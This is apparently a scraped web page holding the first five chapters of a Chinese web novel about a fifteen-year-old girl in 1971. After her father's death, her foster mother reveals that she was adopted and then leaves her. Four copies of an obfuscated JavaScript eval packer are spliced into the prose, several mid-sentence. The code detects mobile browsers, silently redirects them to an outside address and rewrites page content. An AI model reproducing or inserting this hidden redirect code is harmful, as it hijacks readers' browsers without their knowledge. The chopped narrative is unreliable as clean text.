《绿茶成长实录[七零]》 1. 身世 曲灵睁开眼睛,正对上年前新糊的棚顶。雪亮的裱糊纸,才熏染了小半年,亮白如新,被照进屋里的太阳光反射着,刺眼极了,瞬间像是无数根细针扎向眼球,双眼灼热、刺痛,带着钝钝的麻木感,让她不由自主流下眼泪来。 缓慢地抬起胳膊,而后不受控地砸在脸庞上,冰凉的手重重压在双眼上,眼前一黑,冒出无数金色小星星。 用草珠子穿成的门帘子“哗啦啦”地响着,一个身影进了屋里来。 这是个四十多岁,相貌清秀,脸色蜡黄泛白,眼泡红肿,身材偏瘦,身量中等的中年女人,身穿一件宽松的白色的确良衬衫,袖子挽到胳膊肘处,一根草珠子缠到袖子堆叠的位置,被她抓住,狠狠往后一甩,又是一阵噼里叭啦的声响。 这中年女人面无表情地看了眼炕上的曲灵,在距离稍远些的炕沿儿坐下后,打量了曲灵一番,而后抿抿嘴唇,不动声色地深吸一口气,清了下嗓子,沙哑着声音开口说:“曲灵,我知道你醒了,我要跟你说个事儿。” 曲灵自然知道有人进来了,但她身上懒懒的,提不起劲儿,也不关心到底是谁进来了,听到这句冷硬硬的话,她才迟缓地挪开了盖在脸上的手,适应了一会儿光线后,眯着眼睛朝着不远处的妇女说,“妈,有什么事儿明天再说行吗,我这会儿很累。” 累?你累,谁不累? 要换在之前,这妇人,也就是曲灵的妈妈李三梅早就没好气地这么说了,但这会儿想着马上就要和她分道扬镳,彻底没有关系了,便忍下了这口气,用她很少有的耐心说,“就今天说吧,说了省事儿。” 不依不饶,一点都不体谅人,没有一点身为母亲温情,是李三梅一贯的态度,要是搁在几天之前的曲灵,肯定会针锋相对刺上两句,或者扭头跑开去找父亲告状。 可是父亲曲铁军已经去了,她失去了父亲,李三梅失去了丈夫,如今这个家里,就只剩下他们娘俩相依为命了。 在灵堂前,曲灵曾在心里头暗暗发誓,以后一定要改掉自己任性的暴脾气,跟母亲好好相处,当好家里的顶梁柱,以前有父亲跟他们娘俩挡风遮雨,以后就由她来帮母亲撑起一片天。 她决定好好对待李三梅,再不像以前了。 使了些力气,从炕上坐起来,瞬间,有种头昏眼花的眩晕之感席遍全身,整个身体都发胀,隐隐生疼,不听使唤,好似在水里面泡发了似的,沉重、迟钝,尤其是脑袋,像是顶了个大石头,把脖颈都快要压断了。 曲灵靠到墙边,喘了一会儿才好了些,嘴巴干得不行,特别想喝口水。 她张张嘴巴,没有张开,抬头看向了低着头,不知道在想着什么的母亲李三梅,还是闭上嘴巴,摸索着下地,在炕对面的红漆柜子上端起暖壶,倒了些不知道放了几天的水。 水已经彻底凉了,在东北六月份的天气里,喝着正合适。曲灵先润了些水在嘴唇上,才让粘连在一起的嘴巴分开,而后将一茶杯的水都喝下去,顿时,喉咙乃至整个身体都舒服了一些。 她看向李三梅同样干巴巴、起皮的嘴巴,想要给她倒一杯,不过,还是问了一下,“妈,你喝点水吗?” 李三梅抬起头来,没有回答曲灵的话,但绷着脸,嘴巴紧紧抿着,明显是不高兴的,说:“你坐下,我跟你说事儿。” 对于李三梅的态度,曲灵不意外,他们娘俩日常相处的模式就是这样,好话不会好好说,一说话就是要吵架的架势。 她将杯子放到柜子上,而后准备重新上炕,爬上炕沿时,脚踝忽地磕在炕沿的木头上,发出沉闷的一声响,疼得“啊”地一声,连忙用手捂住伤处,眼泪立时涌出来,涨了满眼,一股子说不清道不明的委屈感涌上心头,憋得人难受极了。 感觉着眼泪就要掉出来了,曲灵连忙一鼓作气上了炕,而后不经意地拿手一摸,将眼泪抹干净,这才坐下,好似刚刚无事发生,说:“妈,你想跟我说啥,说吧。” 刚刚曲灵被磕到的那声很大,李三梅只是抬头看了一眼,并没有说什么,这会儿终于等到曲灵准备好了,她有些迫不及待地开口: “你早就知道了吧,我不是你亲妈。” 李三梅的声音平平淡淡,表情也很寻常,但说出的话却一点都不寻常。 曲灵瞪着肿着的眼皮看向李三梅。 对于李三梅不是她亲妈的事儿,曲灵有所猜测。 她是个早熟,又聪明、敏感的孩子,很小的时候,就发现了自己和母亲相处的模式,跟其他所有女同学跟母亲相处模式都不一样。她从李三梅身上,也感受不到书本上歌颂的那种母爱,有时候,她可以清晰感受到李三梅对自己的排斥、不喜欢。 这不应该是一个母亲对于独生女儿的态度。 那时候,她就觉得李三梅不是自己的亲生母亲,后来,又从姥姥家那些人遮遮掩掩的细碎话语之中,窥探到一点细枝末节,她心里头隐隐有了些判断。 这会儿,听见李三梅亲口承认,曲灵稍稍吃惊,没有伤心、难过等负面情绪,反而有种尘埃落定的释怀。从小到大的冷漠、不喜欢甚至是针对,都找到了缘由,哪有儿亲生母亲不喜欢自己的孩子呢? 可是不知道为什么,眼泪却又蓄满了眼眶,曲灵转着眼珠子忍耐,但终究还是掉了下来,模糊了眼睛后,又砸在腿上,炽热的眼泪很烫,烫得曲灵的双腿蜷起。 她快速用手背抹干净眼泪,抬头直视李三梅,问:“为什么现在跟我说这些?” 曲灵迟钝的脑子中涌现出浓浓的困惑,她不关心自己的亲生母亲是谁,也不想知道自己怎么就被爸爸抱回来,交给李三梅养了,只是困惑着李三梅干嘛着急在父亲刚去世没几天,头七还没过的时候就来挑破这个事实。 李三梅迅速扫了她一眼后,将目光移开,而后又转过来,看了她一会儿,依旧没有回答她的问题,而是说出了另外一个石破惊天的事实。 “曲铁军,你爸他在战场上伤了下半身,不能生了,你是他收养的。”李三梅好似知道这个事实会带给曲灵怎么样的震撼和伤害,所以不给对方任何反应时间,紧接着说,“你亲爹姓唐,叫唐建江,是首都的大干部,你有好几个亲哥亲姐,你是家里头最小的那个--反正把你给老曲的时候是这样,后来又生没生孩子我就不知道了。老曲是为了救你亲生爸爸才受的伤,你亲爸把你送来,说是要报恩。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641647|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看见曲灵双眼逐渐瞪大,不可置信地望着自己,好似要从自己脸上找到撒谎、开玩笑的蛛丝马迹,而后,本就泛白的小脸愈加苍白,嘴唇哆嗦着,脑袋不停地摇晃起来,像是不肯相信这个事实,喉咙里头发出轻微的“咯咯”的声音,一副想说话,却又说不出的样子。 看见她这个样子,李三梅说不上来心里头是什么滋味。 前两天,面对着丈夫忽然的离去,她难过得整宿整宿睡不着觉,心里头没着没落,不知道以后没了一家之主的日子该怎么过,她是靠着想象,想象以后终于可以和曲灵这个强行塞给她的女儿划清关系,从此可以一刀两断,过自己的日子才挺过来的。 可是,这会儿看见曲灵这么难受的样子,李三梅并没有自己想象中的那么快意。 曲灵猜测李三梅不是自己的亲生母亲,但从来没有怀疑过曲铁军不是自己的亲生父亲,曲铁军是这个世界上最疼爱自己的人,比所有的父亲都爱,宠着,惯着,把所有的爱都给了她,她从小到大的同学们,没有一个不羡慕她有个好爸爸的。 她猜想着,自己或许是爸爸是和别的女人偷偷生的,却没想到,爸爸也是养父。 曲灵想要开口,跟以前一样,没大没小地跟李三梅辩上几句,大声指责她胡说八道,是在骗人,可她的喉头像是被堵住了似的,根本就发不出声音来。 她心里头是相信李三梅这话真实性的,她虽然对自己不好,但也不是信口胡说的人,能将亲生父亲的家庭情况说得一清二楚,这也不是能凭空编造出来的。 父亲的音容笑容,生前跟自己相处的一幕一幕头从记忆深处涌现出来,堵得她像是被灌进去了一壶铁水,让她浑身上下,都沉甸甸地,堵得慌,呼吸不上来,想要被憋死了,曲灵呼吸越来越急促,她捂住胸口,大口地呼吸着,眼泪不争气地又流了出来。 李三梅眼泪也不受控制地从眼眶流了出来。 眼前这个十四五岁的小姑娘,是她从两个月的小婴孩照顾到大的。 当她还是小孩的时候,自己也曾经喜欢过她,想把她当成亲生孩子的,但,那也只是短暂的错觉而已,到底是没有血缘关系的,她的相貌跟自己没有一点点相似之处,脾气、性格更不是自己喜欢的样子,牙尖嘴利、脾气倔强,得理不饶人……更让她无法接受的是,丈夫曲铁军对这孩子无条件的宠溺,好似曲灵想要天上的星星,他也能想尽办法给摘下来。 在这个家庭里,他们父女两个是一伙儿的,而自己,管不了大的,也管不了小的,就只是个伺候他们吃喝拉撒的老妈子罢了。 每每看到他们父女两个比亲生父女关系还好的样子,听着曲灵一声声地喊着“爸爸”,她就幻想着,有朝一日告诉她真相时,不知道曲灵该得多受打击,看那时候,她还嚣不嚣张得起来。 这会儿,她的梦想实现了,却没有想象中的畅快淋漓,甚至,一度想要改口,告诉曲灵,自己是跟她闹着玩的。 但她终究是咬了牙,把这话憋了回去,开弓没有回头箭,既然已经下定了决心,就不要再叽叽歪歪了,她盼望这一天,盼望了那么多年,对于没有曲灵生活的向往,足以掩盖掉心中的那一点点不忍。 2. 分家 曲灵的眼泪很快就止住了。 不是父亲亲生的孩子,她确实很受打击,可经历过父亲去世那样的灭顶痛苦后,这世上所有的伤痛都没那么难以忍受了。 父亲去世的时候,她整个世界都坍塌了,久久不能相信这是真的,她的爸爸怎么可能会死! 可爸爸就躺在那里,没有呼吸,没有心跳,不会说话,不会动,皮肤没有弹性,脸也灰败下去。 她终于接受事实,明白最疼爱自己的那个人去了,心如刀绞,了无生趣,心里头空荡荡的,像是漏了一个大洞,感觉再也好不了了。 可熬了这几天,伤痛依旧还在,但没有了活下去的感觉,到底还是挺过来了。 这会儿的她,像是经受过战争洗礼的战士,经历过这世上最残酷的事情,心脏已经坚硬了许多。 一阵说不出的难受过后,她很快释然,不是自己的亲生爸爸又如何?他给自己的疼爱比亲生的还要多,他是自己唯一承认的爸爸,有没有血缘关系,真的没那么重要。 相对于这个事实,她更想知道李三梅此时此刻戳破这个事实的目的。揉了揉流了太多眼泪后干涩不已的眼睛,抬头看向自己的养母。 李三梅跟她目光相碰,到底当了十几年的母女,她立刻就看懂了曲灵目光中的含义。她避开曲灵的目光,自顾自地说: “当初我坚决不同意抱养你,我娘家好几个外甥,抱养哪个不行,干嘛非要养你这个八竿子打不着的丫头片子?我跟老曲都说好了,我五妹肚子里头的那个,如果是男孩,就归我们了。可你亲爸,在首都享福的大官啥都没说,就把你送了过来,硬踹给了我们,还说是报恩,呵。” “我本来打算把你送回去的,可老曲不答应,说,既然都已经把你送来了,就跟我们有父女缘分,好好养着吧。为了让你将来不至于让人说是抱养的,愣是让我躲在娘家装大肚子,装了好几个月。” 李三梅脸上露出气愤的表情,事情都过去十四五年了,依旧让她心愤难平,她的嘴唇抿成一条,使劲地向下撇着,接着说:“后来,我五妹的儿子出生,我想把他抱养回来,可老曲不同意,他怕我偏心,怕我分心,照顾不好你。哈,把个亲爸不要了的孩子,真就当成个宝贝了!” 本来,曲灵迟钝的头脑里,并没有分出心思去思考自己亲生父母是谁,可李三梅再一次提到了亲生父亲,被迫在曲灵心里头撒上钉子。 她的话说得太戳人心,说得曲灵就是个被人丢弃,不得不让人硬着头皮接手的小可怜。曲灵心里头也不是不受影响的,只是从小到大和李三梅斗争惯了,通常还来不及感受心上的疼痛,就绞尽脑汁地开始想着反驳,刺激对方的方法了。 虽然,父亲去世时,看着李三梅悲痛欲绝的样子,知道以后就剩下两人相依为命了,曲灵曾经在心里头暗暗发誓,以后再也不和妈妈对着干了,一定要对她好,可是此时此刻,面对着她对自己弃如敝履的样子,曲灵忍不住了,她仰着下巴,大声地喊: “为什么要跟我说这个,是要告诉我多可怜,你对我有多大的恩情吗?你放心,我不是忘恩负义的人,即便你不是我的亲生母亲,以后我也会跟亲生女儿那样,养你老的!” 李三梅嘴角又往下撇了撇,瞧瞧,这孩子就是这样,说话没大没小,脑子活泛,嘴皮子利索,半点亏不肯吃,浑身上下就没有一点讨人喜欢的地方。 “我自己有手有脚,我用不着你给我养老!” 李三梅终于说出了挑破曲铁军隐瞒十多年秘密的目的: “我跟你的母女关系,是被老曲强行捏合在一起的,如今他不在了,我们两个也没啥必要勉强凑在一块过日子,反正你不待见我,没把我当成你妈,我也不待见你,不乐意再给你当老妈子,还成天受你的气了,我想过我自己想过的日子!以后,咱俩干脆就一刀两断,你走你的阳关道,我过我的独木桥!” 这话一出,曲灵迟钝的头脑、心脏再次受到强烈冲击,有些艰难地撑起眼皮,不可置信地确认: “你要和我分家?” 分家?远不止分家。 李三梅用手指甲掐了掐手指肚,语气冷硬说,“你十四了,不,你都十五了。你是1955年出生的,不是56年。我跟你这么大的时候白天下地干活,当个壮劳力一样,能自己赚自己一年的口粮,回家之后,洗衣服、做饭、烀猪食,喂鸡喂鸭,照顾弟妹,家里的活儿样样都会干。你爸不是一直都说你聪明、能干吗,你保准能把自己个儿照顾得好好的。” 李三梅不知道想到什么,嘴角又往下撇了撇,抻得圆润的下巴下多了一圈儿的肉。 这番话说得流利得不行,一点磕巴都没打。 曲灵听着听着,居然笑了起来,有些艰难地撑开险些粘连在一起的嘴唇,刚刚喝下去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641648|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一杯水,并没有起到多少作用,双唇之间渗出嫣红的鲜血来。 “这些话,你准备很久,早就想说了吧。”她问。 被猜中,李三梅有些不自在,但瞬间就坦然起来了,彼此到了摊牌,要一刀两断的时候了,还有什么需要隐瞒的呢? “你说对了,从老曲去世,支撑我好好生活下去的,就是跟你分家,从此一刀两断。” 那熟悉的脸庞上,透露着些隐隐的欢喜。 曲灵低下头去,声音低低地说:“原来你真的这么讨厌我。” 李三梅:“你不是也一样讨厌我吗。” 曲灵摇了摇头,想要张嘴说些什么,咸咸的味道渗入到口中,她这才感觉到嘴唇的不适,随手一摸,看见了指肚上的血,缓了一会儿才明白是嘴唇破了。慢吞吞地从枕头底下掏出一块皱了吧唧的手绢,擦擦嘴唇,又擦擦手背,忽然就没有了想要辩解的情绪。 曲灵对李三梅说不上喜欢,但绝对没有记恨。虽然从她身上,没有得到过母爱,但日常的吃穿也不曾亏待,两人在一块,话说不到三句就要吵架,有时候吵得很凶,李三梅气得抄起笤帚疙瘩往她身上招呼,但曲灵手脚灵活,笤帚疙瘩挥出来的时候,早就跑远了,从不曾吃亏。两人闹得凶了,爸爸曲铁军就会出面,他从来都是站在曲灵这一面的,笑着让李三梅别跟孩子一般见识。 曲灵自问,两人关系虽然一般,但绝对不至于就到了一刀两断的程度,一时间,她的心里头拔凉拔凉的,都是不解、困惑。自然也就忽略了自己以后大概要一个人过日子的事实。 嘴唇上的血又流了出来,快要滴下嘴唇的时候,曲灵才发现,下意识地抬手用手绢按住。 李三梅接着说:“我呢,也不占你的便宜。你爸的留下的工资、厂里给的丧葬费咱们二一添作五。这所小院,是铁矿的家属院,虽然老曲不在了,但矿上应该没那么不近人情就让你搬走,这院子你就住着吧,家具什么的都归你了,我只带走我自己的东西。” 她竟然打算得这么清楚了!曲灵又一次震惊了。同时,也确定了她离开的决心,这是宁愿净身出户,也要和自己一刀两断,她怔忡地看了李三梅好一会儿,只觉得眼前这个人真是陌生得很,在一块生活了十四五年了,好似从来没有了解过。 曲灵将手绢松开,好一会儿后才问:“那你呢,以后要去哪里住,靠什么生活?” 3. 想开 李三梅没有工作,是家庭主妇,会去街道接一些缝纫、手工之类的零活赚些零花钱,她是农村户口,在老家有人口粮,每年秋天的时候,都能分到粮食,这两年风调雨顺,亩产粮食数量屡创新高,人三劳七的人口粮能供得起她大半年的吃食。粮食不够吃的话,就从老家亲戚那里,用比议价粮低得多的价格购买,也花不了太多钱。 曲铁军是复员军人,在均州铁矿担任保卫处副处长职务,工资补助比较高,足以支撑起一家三口的日常生活,每月还能有结余存款。 但曲铁军去世了,李三梅没有了收入来源,又要净身出户,以后要靠什么生活? 李三梅笑了下,说:“你就别操心我了,我自然有去处。” 曲灵没有大吵大闹,令她很意外,同时也重重松口气,语气软了下来,说:“那这事儿咱们就说定了,明天,你爸的头七就过了,我就搬走了。你爸留下来二百块的积蓄,加上矿上给的五百块丧葬费,一共是700块,今天晚些时候,我就把那三百五十块钱给你送来,你省着点花,够你花好几年的了。” 说到这里的时候,李三梅已经走到了门口。 “等等!”曲灵心里头升起了浓浓的恐慌和不舍,她大喊道:“你能不能别走?我以后再也不惹你生气了,肯定让着我。等我上了高中,毕业了就去矿上上班,以后给你养老!” 李三梅停住脚步,冷冷地说:“曲灵,你知道我的脾气,我已经决定好了,不会反悔的。” 曲灵想要再劝,想要再挽留,但一句话都说不出来了。 这让李三梅松口气,转过头来,扶了扶门框,说:“我要是你,我就去首都,你亲爸是城里的大官,怎么也能给你安排个前程。你要是想找亲爹妈,你就去找张九钢,他肯定能联系到。” 曲灵扯了扯嘴唇,手掌撑在炕席上,什么话都没说。 李三梅等了一会儿,没听见她的反应,便叹口气,说:“我要走了,最后再劝你一句。你知道你这孩子最大的毛病是什么吗?是太倔了,不服输,不服软,以前有你爸惯着你,干啥都能给你兜底,以后可没有了。人啊,该服软就得服软。” 说完这句话,李三梅没再停留,大步朝外走去。 曲灵挪蹭着身体到窗台边上,看见李三梅穿过院子,身影消失在大门口。 院子中,搭建好的灵棚还没有拆,摆放着白色的花圈,上面张贴着亲朋好友们送来的挽联。这样有仪式的丧礼,在婚丧嫁娶从简的71年,已经算是相当隆重了。曲灵目光盯住其中的一副,怔怔地出起神来。 这几天,她经历了家庭的骤变,最亲爱的父亲去世,又得知自己不是亲生的孩子,母亲也即将跟她一拍两散,三口之家死的死,散的散,骤然分崩离析。 她如今,才真正理解了“世事无常”这个词的含义,那样幸福的家庭,从今以后,就只剩下自己了。 李三梅最后跟她说的这句话,大概就是她最后的善意了,但这份善意,曲灵一点想要接受的意思都没有。 她那所谓的亲生父母,兄弟姐妹,她不想知道他们是谁,过得如何,不想试图去打听、联系,更加不会去投奔,他们之间的缘分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641649|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她被送出的那一刻就结束了,她只有曲建军一个父亲。 李三梅想要离开,过没有自己的日子,就离开好了,就剩下自己一个人,她也能过好! 父亲临终之间,紧紧握住她的手,说最不放心的就是她,遗憾着没有看到她长大成人,让她一定要好好照顾自己,好好生活,那时候,他大概就已经预料到如今的状况了。 就是不为自己,为着父亲临终期盼,她也会好好生活,比父亲在的时候活得更好,才能让父亲含笑九泉! 明天,就是曲建军头七的最后一天,也是李三梅在这个家里的最后一天,等明天头七一结束,就搬出去。 昨天晚上,曲灵几乎整宿都没有睡着,想着和李三梅生活在一起十多年里的点滴。她记性好,很多事情都清晰地记得,在回忆中寻找着,能寻找到为数不多几次温情的画面。 养个小猫小狗,养得时间长了,都能养出感情来,何况是活生生的人呢?但也因为人不同于小猫小狗,会说话,会表达,会思考,有喜怒哀乐,反而不如小动物们讨喜。 从回忆中抽身,曲灵发现自己对于李三梅并没有强烈的眷恋不舍,更多的是担心,担心自己以后就只剩一个人,该怎么样独自去生活,处理各种事情。 曲铁军活着的时候,她被宠成小公主,有个大事小情,她只要喊一声“爸爸”,就被安排得妥妥贴贴,只管好好学习,好好玩耍。 面对着未知的未来,想到没人庇护的日子,她迷茫,也有些胆怯。 但,这又如何呢?天要下雨娘要嫁人,随她去吧。 4. 离开 清早,在东屋翻箱倒柜的声音之中,曲灵迷迷糊糊地醒来。 曲家住的是独门独院的三间房,正中一间是堂屋,兼具着餐厅和厨房的功能,一左一右两个灶台,连通着东西屋的火炕。东屋是主屋,是曲铁军和李三梅的卧室,西屋是曲灵的房间。 夏天,几个房间都不关门,挂着乡下自己种的草珠子穿成的珠帘,隔音效果极差。 东北6月份的清晨,还带着些凉意。曲灵揉了揉险些粘在一起的眼皮,下炕趿拉着塑料凉鞋下地。她这两天都是和衣睡的,身上穿着没有补丁的粉白花小点衬衫和深蓝色的确良裤子,衬衫是棉布的,起了很多细小的褶皱,裤子却是依然笔挺的,下炕时,和炕席摩擦着,“噼啪”着发出一道亮光。 穿过堂屋,站在东屋门口,隔着草珠子门帘,看见李三梅在收拾东西。 她将自己的衣服、鞋袜、被褥,一件件叠放着,往包袱皮里摆放。 曲灵蠕动了下嘴巴,昨天流血的地方已经长好了,结成一块小小的血痂,忍不住开口: “你……能不走吗?” 李三梅没抬头,斩钉截铁地回答,“不能!” 曲灵舔了舔嘴唇上的伤疤,因着没报太大希望,倒也不算失望。 她再次开口:“这本来就是你的家,你可以继续住在这里的,大不了以后各过各的好了。” 李三梅只带了自己的衣服、行李被褥、茶缸、鞋子,多余的东西一点都没带,装满一个包袱皮后,使了些力气,四角交叉系好,扔在一旁。 李三梅的父母都还健在,但农村家庭里离婚或者守寡的姑娘要是回娘家生活,是要被人说闲话的,况且,老两口跟着李三梅的大哥生活,已经不当家理事了,老娘当家跟嫂子当家,完全不一样。 那位大嫂,也就是曲灵的大舅母也不是个善茬,就凭着李三梅口袋里的350块钱,过不多长时间的好日,李三梅也不是能寄人篱下去受气的,曲灵觉得她应该不会回去乡下老家,那她还能去哪里呢? 这是曲灵头一次站在李三梅的角度,去考虑问题。 这些年来,她和李三梅相处成这样,固然有李三梅的原因,但自己也不是全无错误,仗着爸爸的疼爱,被惯得无法无天,没大没小,没有给予李三梅身为母亲的尊重。 设身处地去想,自己是李三梅,也不会喜欢她这样的养女。 李三梅将收拾好的两包行李塞到柜子里,说:“我自有去处,你就不用替我操心了。” 曲灵:“既然你说的是分家,钱一人一半,东西也一人一半好了,你不占我的便宜,我也不想占你的便宜。” 俗话说,破家值万贯,铁锅、碗筷、柜子,如果重新置办起来,既要钱,又要票,李三梅置办起来,应该不容易。 李三梅将柜门关上,东屋的两口红松木,刷红漆的大柜子,能装粮食,能装被褥、衣服,一口箱子,加上柜子架,多半个成人的高度,靠墙放着,也能当桌子使用,是她的陪嫁。 李三梅连陪嫁都不要了。 她说:“你也叫了我十几年的妈,就当是我最后给你留的一点好念想吧。以后,就不要再见面了,就是见面,也当做不认识。” 曲灵不理解李三梅为何这么决绝,但她知道,即便是询问,也得不到答案,大概就是过够了给她当妈的日子吧。 曲灵说不出心里头是什么滋味,她苦笑了下,问:“奶奶和二叔那里,你准备怎么跟他们说?” 李三梅面色顿时一垮,她有些哀求地看向曲灵,“你能不能别跟他们说?” 李三梅和婆家人的关系一直都算不上好,如果听说她在曲铁军刚过头七,就抛下曲灵离开,是绝对不会同意的。 但是,她必须得走。她只要想着,以后只有她和曲灵两个人过日子,就觉得以后的日子黯淡无光,了无生趣。 曲灵:“你想让我帮你隐瞒?” 李三梅“嗯”了一声,说:“看在我给了当了十多年老妈子的情分上,你就帮我这一次,就当不知道我要离开。” 瞒过这段时间,就是以后他们知道了,她也已经离开,找不到她了。 曲灵从她的眼睛中,看到了恳求和期盼。曲灵终于点了头。 隔天,曲奶奶和二叔二婶,二叔家的三个孩子,还有村里头的其他亲戚都从曲家村赶了过来,李三梅在均州棉纺厂上班的妹妹李五梅也请假过来,给曲铁军过头七。 头七过完,这个丧礼也就结束了。 李三梅带着妯娌黄春妮,亲妹李五梅几个女人在院子里头做饭,奶奶拉了曲灵到西屋。 曲奶奶今年六十岁出头,曲铁军是他的大儿子。 老大在城里上班,老二在家里务农,曲奶奶在村里过着上好的日子,人比村里头其他老太太显得年轻许多,只是刚过四十的儿子突然去世,白发人送黑发人,这样的打击,让她短短几天的时间就老了许久,原本有些花白的头发,现在白了大半儿。 但老人家这一生中经历了太多的苦难和生离死别,造就了她坚强、刚毅的性格,她比曲灵更早从伤痛中走出来,这会儿跟曲灵膝盖挨膝盖地坐在炕沿上,粗糙的大手紧握着那双白嫩的小手,轻轻地抚摸着,泛着浑浊的双眼满是怜惜。 “你爸爸不在了,你还有我,还有你二叔,还有你哥,你妹!”曲奶奶说:“人这一辈子,今日不知明日事,身边的人,不知道哪一天就不在了,咱们这些活着的人要做的,就是过好每一天,带上死去亲人的那一份好好活,活个够本!” 曲灵透过这个慈爱的老人,看见了爸爸的影子,她眼圈一红,但忍住没哭,抽抽鼻子,将眼泪憋了回去,笑着说,“奶奶,我会的!” 曲奶奶欣慰地笑,抬起手,撩了下曲灵翘起来的头发。她的头发半长不长的,一直在肩膀前编两个麻花辫子,这几天没有编头发的心思,只随便在脑后一梳,太阳穴上方,两撮头发不听话地打着旋翘起来。 曲奶奶按了两次,头发还是倔强地翘着,她笑了下,说,“跟你爸一样,都是小倔种。” 曲灵笑了起来,说:“我是我爸孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641650|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自然像他。” 曲灵心里头充盈着感动,曲奶奶不可能不知道她的身世,从来没有因为她是抱养的,而跟其他的孙子孙女区别对待,甚至在这些孙子孙女中,最喜欢她。 以前的曲灵觉得理所当然,现在的她却非常感激这份喜欢,曲铁军去世了,李三梅马上就要离开了,她很珍惜仅剩的亲人。 简化了的头七,没了整宿守灵的老习俗,举办了简单的仪式,亲戚朋友聚在一块吃了饭,就陆续离开。 曲奶奶和二叔几个至亲的人留到了最后,将院子都收拾好了,才套上牛车,准备趁着天亮,赶回曲家村。 曲灵和李三梅送到门口。 曲奶奶有些担心地看着曲灵,再一次问她,“要不,灵儿还是跟我回村里住一阵子吧。” 她知道曲灵和李三梅之间的关系有多不好,以前有曲铁军在中间充当润滑剂,如今他不在了,曲奶奶想象不出这娘俩的日子要怎么过,没人压制的李三梅,可不得可劲欺负、虐待曲灵? 曲灵还是拒绝了,说:“奶奶,我还得上学,等放假了,我就回村里看你,放心,我能过好的。” 从今往后,她要学着一个人生活了。面对未来,她彷徨、担心,但既然躲不过,就勇敢去面对。 曲奶奶这才点头,说:“行,到时候我让你二叔套车来接你,有啥事就去邮电局找你广军叔,让他往家里捎信儿。” 曲奶奶说着,脸上的笑容一收,肃着脸看向李三梅,语气也不复刚刚的温和,警告性地说:“铁军不在了,以后你们娘俩相依为命,别再跟以前似的,跟个孩子一般见识。小灵十四了,再过两年就能去矿上上班,就能养活你了。小灵不是没良心的孩子,你的好日子在后边。” 李三梅什么都没说,只顾着点头。她不担心曲灵会出卖她,这个孩子,身上有诸多她不喜欢的地方,但不得不承认,她说话算数,一口吐沫一个钉,只要答应了,就一定会做到。 待等到牛车看不见了,曲灵和李三梅才转头回去,两人一前一后走着,都沉默着没有说话。 隔天早上,曲灵被一声轻微的关门声猛然惊醒,她想到什么,连忙跳下床,匆忙趿拉上鞋就跑去东屋,屋子里头空荡荡的,炕梢处的被垛只剩下一半高度,被一块砖红色的线毯罩着。 曲灵又赶紧往出跑,天刚麻麻亮,外面灰蒙蒙一片,整个世界都还是静悄悄,远远的传来一两声犬吠,还有公鸡打鸣的声响。 曲灵“嗒嗒”的脚步声回荡在巷子中,发出巨大的声响,她跑到巷子口,正好看见李三梅提着行李,匆忙往前走,如同有狗在后面撵的背影。 曲灵想叫住她,跟她说声“再见、珍重”,但张了张嘴巴,没有发出声音,却将扬起的手放了下来。 她选择这么早,这么悄无声息的离开,就是不想让人知道,不想跟自己告别,自己又何必自讨没趣呢? 曲灵瞧着她的声音渐渐消失在视野中,在心里头默默地说:“再见了,希望你以后在没有我的日子里,一切顺利,生活幸福!” 5. 开始一个人的生活 回去的脚步很沉重,曲灵有些抬不起脚来,塑料拖鞋摩擦在夯实的黑土地上,发出“嚓嚓”的声响,出来时很快,回去时却很漫长,回到空荡荡的小院中时,天已经大亮,左邻右舍纷纷传来声响,洗漱的,做饭的,赶着上厕所的,催促孩子起床的…… 又是一片烟火人间的景象,以往的十几年都是这么过来的,唯一不同的,曲家只剩下她一个人了。 从来没觉得,这个二三十平米的小院,是这般的空旷和荒凉,墙边小菜园子里的野草疯长着,一周多没收拾,草就长得和生菜苗一般高了,用棒秸秆搭的黄瓜架被风吹得有些歪了,几颗顶着黄花的小黄瓜妞颤巍巍地探出头来,黄花上带着颗晶莹剔透的露珠。 她蹲下去,开始薅草。 